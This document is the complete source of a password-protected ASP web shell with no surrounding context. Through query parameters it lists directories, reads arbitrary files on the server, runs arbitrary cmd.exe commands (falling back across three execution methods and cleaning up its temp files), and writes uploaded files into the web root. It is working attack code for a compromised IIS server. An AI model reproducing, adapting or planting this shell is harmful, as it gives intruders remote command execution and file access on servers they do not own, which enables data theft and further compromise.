<%Response.Buffer=True:On Error Resume Next:Response.Clear:Response.Charset="utf-8":Randomize Dim PW,p,act,fso,R PW="k9x3m7q2" p=Request.QueryString("p") If p<>PW Then Response.Write "

":Response.End Set fso=Server.CreateObject("Scripting.FileSystemObject") act=Request.QueryString("act") R="" If act="dir" Then Dim d,fo,f,sd d=Request.QueryString("d"):If d="" Then d=Server.MapPath("/") R=R&"DIR "&Server.HTMLEncode(d)&"
" Set fo=fso.GetFolder(d) For Each sd In fo.SubFolders R=R&"[D] "&sd.Name&"
" Next For Each f In fo.Files R=R&"[F] "&f.Name&" ("&f.Size&")
" Next ElseIf act="read" Then Dim tf,txt Set tf=fso.OpenTextFile(Request.QueryString("f"),1,False) txt=tf.ReadAll:tf.Close R=R&"READ "&Server.HTMLEncode(Request.QueryString("f"))&"

"&Server.HTMLEncode(txt)&"

" ElseIf act="cmd" Then Dim sh,tfn,ts,cmds,ex,sa,ok cmds=Request.QueryString("c") tfn=Server.MapPath("/")&"\z"&Int(Rnd*900000+100000)&".tmp" ok=False Err.Clear Set sh=Server.CreateObject("WScript.Shell") If Err.Number=0 Then sh.Run "cmd.exe /c "&cmds&" > """&tfn&""" 2>&1",0,False End If Err.Clear If Not fso.FileExists(tfn) Then Set sh=Server.CreateObject("WScript.Shell") Set ex=sh.Exec("cmd.exe /c "&cmds&" > """&tfn&""" 2>&1") End If Dim wt,sz1,sz2 wt=0:sz1=-1 Do While wt<800000 If fso.FileExists(tfn) Then sz2=fso.GetFile(tfn).Size If sz2>0 Then If sz2=sz1 Then Exit Do End If sz1=sz2 End If wt=wt+1 Loop If fso.FileExists(tfn) Then Set ts=fso.OpenTextFile(tfn,1,False) If Not ts.AtEndOfStream Then R=R&Server.HTMLEncode(ts.ReadAll) ts.Close fso.DeleteFile tfn,True ok=True End If Err.Clear If Not ok Then Set sa=Server.CreateObject("Shell.Application") sa.ShellExecute "cmd.exe","/c "&cmds&" > """&tfn&"""","","",0 wt=0:sz1=-1 Do While wt<800000 If fso.FileExists(tfn) Then sz2=fso.GetFile(tfn).Size If sz2>0 Then If sz2=sz1 Then Exit Do End If sz1=sz2 End If wt=wt+1 Loop If fso.FileExists(tfn) Then Set ts=fso.OpenTextFile(tfn,1,False) If Not ts.AtEndOfStream Then R=R&Server.HTMLEncode(ts.ReadAll) ts.Close fso.DeleteFile tfn,True ok=True End If End If If Not ok Then R=R&"(exec unavailable: "&Err.Number&" "&Server.HTMLEncode(Err.Description)&")" R="CMD "&Server.HTMLEncode(cmds)&"

"&R&"

" ElseIf act="up" Then Dim tb,bd,bnd,p1,p2,i,stm,fnm,cnt,last tb=Request.TotalBytes fnm=Request.QueryString("fname"):If fnm="" Then fnm="z"&Int(Rnd*900000+100000)&".txt" If tb>0 Then bd=Request.BinaryRead(tb) bnd=ChrB(13)&ChrB(10)&ChrB(45)&ChrB(45) p2=0 For i=4 To LenB(bd)-1 If MidB(bd,LenB(bd)-i,4)=bnd Then p2=LenB(bd)-i:Exit For Next last=0 For i=1 To p2-4 If MidB(bd,i,4)=ChrB(13)&ChrB(10)&ChrB(13)&ChrB(10) Then last=i Next p1=last If p1>0 And p2>p1 Then cnt=MidB(bd,p1+4,p2-p1-4) Set stm=Server.CreateObject("ADODB.Stream") stm.Type=1:stm.Open:stm.Write cnt:stm.SaveToFile Server.MapPath(fnm),2:stm.Close R=R&"saved "&Server.HTMLEncode(fnm)&" ("&LenB(cnt)&" bytes)
" Else R=R&"upload parse failed p1="&p1&" p2="&p2&"
" End If End If End If Response.Write "" Response.Write R Response.Write "

---

path

" Response.Write "

file

" Response.Write "

cmd

" Response.Write "

save as

" Response.Write "" Response.End%>